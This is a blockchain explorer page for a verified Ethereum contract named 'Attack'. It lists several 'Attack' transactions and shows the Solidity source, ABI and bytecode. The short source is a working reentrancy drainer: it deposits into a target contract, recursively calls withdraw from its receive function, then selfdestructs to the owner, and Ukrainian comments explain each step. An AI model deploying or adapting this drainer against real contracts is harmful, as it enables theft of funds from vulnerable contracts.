ETH Price: $2,076.54 (-3.47%)

Contract

0x9709Db9ad7AaeCC1Bcd79ce94bdc4414FCADE8A3
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Attack220252682025-03-11 17:58:35367 days ago1741715915IN
0x9709Db9a...4FCADE8A3
0.001 ETH0.0000640.9232708
Attack220251882025-03-11 17:42:35367 days ago1741714955IN
0x9709Db9a...4FCADE8A3
0.001 ETH0.000116821.68529145
Attack220249972025-03-11 17:04:23367 days ago1741712663IN
0x9709Db9a...4FCADE8A3
0.0001 ETH0.000075881.09462733
Attack220249572025-03-11 16:55:59367 days ago1741712159IN
0x9709Db9a...4FCADE8A3
0.0001 ETH0.000084751.22269374
Transfer220249312025-03-11 16:50:47367 days ago1741711847IN
0x9709Db9a...4FCADE8A3
0.002592 ETH0.000040391.92359243
Attack220248032025-03-11 16:24:59367 days ago1741710299IN
0x9709Db9a...4FCADE8A3
0 ETH0.000058152.17941982
Attack220247962025-03-11 16:23:35367 days ago1741710215IN
0x9709Db9a...4FCADE8A3
0.003 ETH0.000151352.18343494
Attack220247922025-03-11 16:22:47367 days ago1741710167IN
0x9709Db9a...4FCADE8A3
0.001 ETH0.000169582.44634594
Attack220247802025-03-11 16:20:23367 days ago1741710023IN
0x9709Db9a...4FCADE8A3
0 ETH0.000088831.28155676
Attack220247802025-03-11 16:20:23367 days ago1741710023IN
0x9709Db9a...4FCADE8A3
0.0001 ETH0.000088831.28155676

Latest 16 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer220252682025-03-11 17:58:35367 days ago1741715915
0x9709Db9a...4FCADE8A3
0.001 ETH
Deposit220252682025-03-11 17:58:35367 days ago1741715915
0x9709Db9a...4FCADE8A3
0.001 ETH
Transfer220251882025-03-11 17:42:35367 days ago1741714955
0x9709Db9a...4FCADE8A3
0.001 ETH
Deposit220251882025-03-11 17:42:35367 days ago1741714955
0x9709Db9a...4FCADE8A3
0.001 ETH
Transfer220249972025-03-11 17:04:23367 days ago1741712663
0x9709Db9a...4FCADE8A3
0.0001 ETH
Deposit220249972025-03-11 17:04:23367 days ago1741712663
0x9709Db9a...4FCADE8A3
0.0001 ETH
Transfer220249572025-03-11 16:55:59367 days ago1741712159
0x9709Db9a...4FCADE8A3
0.0001 ETH
Deposit220249572025-03-11 16:55:59367 days ago1741712159
0x9709Db9a...4FCADE8A3
0.0001 ETH
Transfer220247962025-03-11 16:23:35367 days ago1741710215
0x9709Db9a...4FCADE8A3
0.003 ETH
Deposit220247962025-03-11 16:23:35367 days ago1741710215
0x9709Db9a...4FCADE8A3
0.003 ETH
Transfer220247922025-03-11 16:22:47367 days ago1741710167
0x9709Db9a...4FCADE8A3
0.001 ETH
Deposit220247922025-03-11 16:22:47367 days ago1741710167
0x9709Db9a...4FCADE8A3
0.001 ETH
Transfer220247802025-03-11 16:20:23367 days ago1741710023
0x9709Db9a...4FCADE8A3
0 ETH
Deposit220247802025-03-11 16:20:23367 days ago1741710023
0x9709Db9a...4FCADE8A3
0 ETH
Transfer220247802025-03-11 16:20:23367 days ago1741710023
0x9709Db9a...4FCADE8A3
0.0001 ETH
Deposit220247802025-03-11 16:20:23367 days ago1741710023
0x9709Db9a...4FCADE8A3
0.0001 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Attack

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2025-03-11
*/

pragma solidity ^0.8.2;

interface IToken {
    function deposit() external payable;
    function withdraw(uint amount) external;
    function balanceOf(address owner) external view returns (uint);
}

contract Attack {
    IToken public target;
    address payable public owner;

    constructor(address _target) {
        target = IToken(_target);
        owner = payable(msg.sender);
    }

    function attack() public payable {
        target.deposit{value: msg.value}(); // Депозит ETH для запуску withdraw
        target.withdraw(target.balanceOf(address(this))); // Перший виклик withdraw
    }

    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(1); // Рекурсивний виклик withdraw
        } else {
            selfdestruct(owner); // Виведення залишку, коли контракт вичерпано
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"attack","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"target","outputs":[{"internalType":"contract IToken","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b506040516106e83803806106e883398181016040528101906100319190610114565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061013f565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e3826100ba565b9050919050565b6100f3816100d9565b81146100fd575f80fd5b50565b5f8151905061010e816100ea565b92915050565b5f60208284031215610129576101286100b6565b5b5f61013684828501610100565b91505092915050565b61059c8061014c5f395ff3fe608060405260043610610037575f3560e01c80638da5cb5b146101465780639e5faafc14610170578063d4b839921461017a57610142565b36610142575f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610106575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60016040518263ffffffff1660e01b81526004016100d491906103d0565b5f604051808303815f87803b1580156100eb575f80fd5b505af11580156100fd573d5f803e3d5ffd5b50505050610140565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b005b5f80fd5b348015610151575f80fd5b5061015a6101a4565b6040516101679190610428565b60405180910390f35b6101786101c9565b005b348015610185575f80fd5b5061018e610362565b60405161019b9190610493565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561022e575f80fd5b505af1158015610240573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102d891906104cc565b602060405180830381865afa1580156102f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103179190610513565b6040518263ffffffff1660e01b8152600401610333919061054d565b5f604051808303815f87803b15801561034a575f80fd5b505af115801561035c573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b5f819050919050565b5f819050919050565b5f6103ba6103b56103b084610385565b610397565b61038e565b9050919050565b6103ca816103a0565b82525050565b5f6020820190506103e35f8301846103c1565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610412826103e9565b9050919050565b61042281610408565b82525050565b5f60208201905061043b5f830184610419565b92915050565b5f61045b610456610451846103e9565b610397565b6103e9565b9050919050565b5f61046c82610441565b9050919050565b5f61047d82610462565b9050919050565b61048d81610473565b82525050565b5f6020820190506104a65f830184610484565b92915050565b5f6104b6826103e9565b9050919050565b6104c6816104ac565b82525050565b5f6020820190506104df5f8301846104bd565b92915050565b5f80fd5b6104f28161038e565b81146104fc575f80fd5b50565b5f8151905061050d816104e9565b92915050565b5f60208284031215610528576105276104e5565b5b5f610535848285016104ff565b91505092915050565b6105478161038e565b82525050565b5f6020820190506105605f83018461053e565b9291505056fea2646970667358221220ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a0064736f6c634300081a00330000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96

Deployed Bytecode

0x608060405260043610610037575f3560e01c80638da5cb5b146101465780639e5faafc14610170578063d4b839921461017a57610142565b36610142575f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610106575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60016040518263ffffffff1660e01b81526004016100d491906103d0565b5f604051808303815f87803b1580156100eb575f80fd5b505af11580156100fd573d5f803e3d5ffd5b50505050610140565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b005b5f80fd5b348015610151575f80fd5b5061015a6101a4565b6040516101679190610428565b60405180910390f35b6101786101c9565b005b348015610185575f80fd5b5061018e610362565b60405161019b9190610493565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561022e575f80fd5b505af1158015610240573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102d891906104cc565b602060405180830381865afa1580156102f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103179190610513565b6040518263ffffffff1660e01b8152600401610333919061054d565b5f604051808303815f87803b15801561034a575f80fd5b505af115801561035c573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b5f819050919050565b5f819050919050565b5f6103ba6103b56103b084610385565b610397565b61038e565b9050919050565b6103ca816103a0565b82525050565b5f6020820190506103e35f8301846103c1565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610412826103e9565b9050919050565b61042281610408565b82525050565b5f60208201905061043b5f830184610419565b92915050565b5f61045b610456610451846103e9565b610397565b6103e9565b9050919050565b5f61046c82610441565b9050919050565b5f61047d82610462565b9050919050565b61048d81610473565b82525050565b5f6020820190506104a65f830184610484565b92915050565b5f6104b6826103e9565b9050919050565b6104c6816104ac565b82525050565b5f6020820190506104df5f8301846104bd565b92915050565b5f80fd5b6104f28161038e565b81146104fc575f80fd5b50565b5f8151905061050d816104e9565b92915050565b5f60208284031215610528576105276104e5565b5b5f610535848285016104ff565b91505092915050565b6105478161038e565b82525050565b5f6020820190506105605f83018461053e565b9291505056fea2646970667358221220ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a0064736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96

-----Decoded View---------------
Arg [0] : _target (address): 0x4cf522B563c9DD0B8084C45071d71A3Dd41Cca96

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000004cf522b563c9dd0b8084c45071d71a3dd41cca96


Deployed Bytecode Sourcemap

209:758:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;726:1;708:6;;;;;;;;;;;700:23;;;:27;696:261;;;744:6;;;;;;;;;;:15;;;760:1;744:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;696:261;;;856:5;;;;;;;;;;;843:19;;;696:261;209:758;;;;;259:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;414:236;;;:::i;:::-;;232:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;259:28;;;;;;;;;;;;;:::o;414:236::-;458:6;;;;;;;;;;:14;;;480:9;458:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;556:6;;;;;;;;;;:15;;;572:6;;;;;;;;;;:16;;;597:4;572:31;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;556:48;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;414:236::o;232:20::-;;;;;;;;;;;;:::o;7:85:1:-;52:7;81:5;70:16;;7:85;;;:::o;98:77::-;135:7;164:5;153:16;;98:77;;;:::o;181:60::-;209:3;230:5;223:12;;181:60;;;:::o;247:158::-;305:9;338:61;356:42;365:32;391:5;365:32;:::i;:::-;356:42;:::i;:::-;338:61;:::i;:::-;325:74;;247:158;;;:::o;411:147::-;506:45;545:5;506:45;:::i;:::-;501:3;494:58;411:147;;:::o;564:238::-;665:4;703:2;692:9;688:18;680:26;;716:79;792:1;781:9;777:17;768:6;716:79;:::i;:::-;564:238;;;;:::o;808:126::-;845:7;885:42;878:5;874:54;863:65;;808:126;;;:::o;940:104::-;985:7;1014:24;1032:5;1014:24;:::i;:::-;1003:35;;940:104;;;:::o;1050:142::-;1153:32;1179:5;1153:32;:::i;:::-;1148:3;1141:45;1050:142;;:::o;1198:254::-;1307:4;1345:2;1334:9;1330:18;1322:26;;1358:87;1442:1;1431:9;1427:17;1418:6;1358:87;:::i;:::-;1198:254;;;;:::o;1458:142::-;1508:9;1541:53;1559:34;1568:24;1586:5;1568:24;:::i;:::-;1559:34;:::i;:::-;1541:53;:::i;:::-;1528:66;;1458:142;;;:::o;1606:126::-;1656:9;1689:37;1720:5;1689:37;:::i;:::-;1676:50;;1606:126;;;:::o;1738:139::-;1801:9;1834:37;1865:5;1834:37;:::i;:::-;1821:50;;1738:139;;;:::o;1883:157::-;1983:50;2027:5;1983:50;:::i;:::-;1978:3;1971:63;1883:157;;:::o;2046:248::-;2152:4;2190:2;2179:9;2175:18;2167:26;;2203:84;2284:1;2273:9;2269:17;2260:6;2203:84;:::i;:::-;2046:248;;;;:::o;2300:96::-;2337:7;2366:24;2384:5;2366:24;:::i;:::-;2355:35;;2300:96;;;:::o;2402:118::-;2489:24;2507:5;2489:24;:::i;:::-;2484:3;2477:37;2402:118;;:::o;2526:222::-;2619:4;2657:2;2646:9;2642:18;2634:26;;2670:71;2738:1;2727:9;2723:17;2714:6;2670:71;:::i;:::-;2526:222;;;;:::o;2835:117::-;2944:1;2941;2934:12;3081:122;3154:24;3172:5;3154:24;:::i;:::-;3147:5;3144:35;3134:63;;3193:1;3190;3183:12;3134:63;3081:122;:::o;3209:143::-;3266:5;3297:6;3291:13;3282:22;;3313:33;3340:5;3313:33;:::i;:::-;3209:143;;;;:::o;3358:351::-;3428:6;3477:2;3465:9;3456:7;3452:23;3448:32;3445:119;;;3483:79;;:::i;:::-;3445:119;3603:1;3628:64;3684:7;3675:6;3664:9;3660:22;3628:64;:::i;:::-;3618:74;;3574:128;3358:351;;;;:::o;3715:118::-;3802:24;3820:5;3802:24;:::i;:::-;3797:3;3790:37;3715:118;;:::o;3839:222::-;3932:4;3970:2;3959:9;3955:18;3947:26;;3983:71;4051:1;4040:9;4036:17;4027:6;3983:71;:::i;:::-;3839:222;;;;:::o

Swarm Source

ipfs://ffad18511d54b9309e3ab173c59c8bbaffb9bb6ff8c856c63a185a50d98d3a00

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.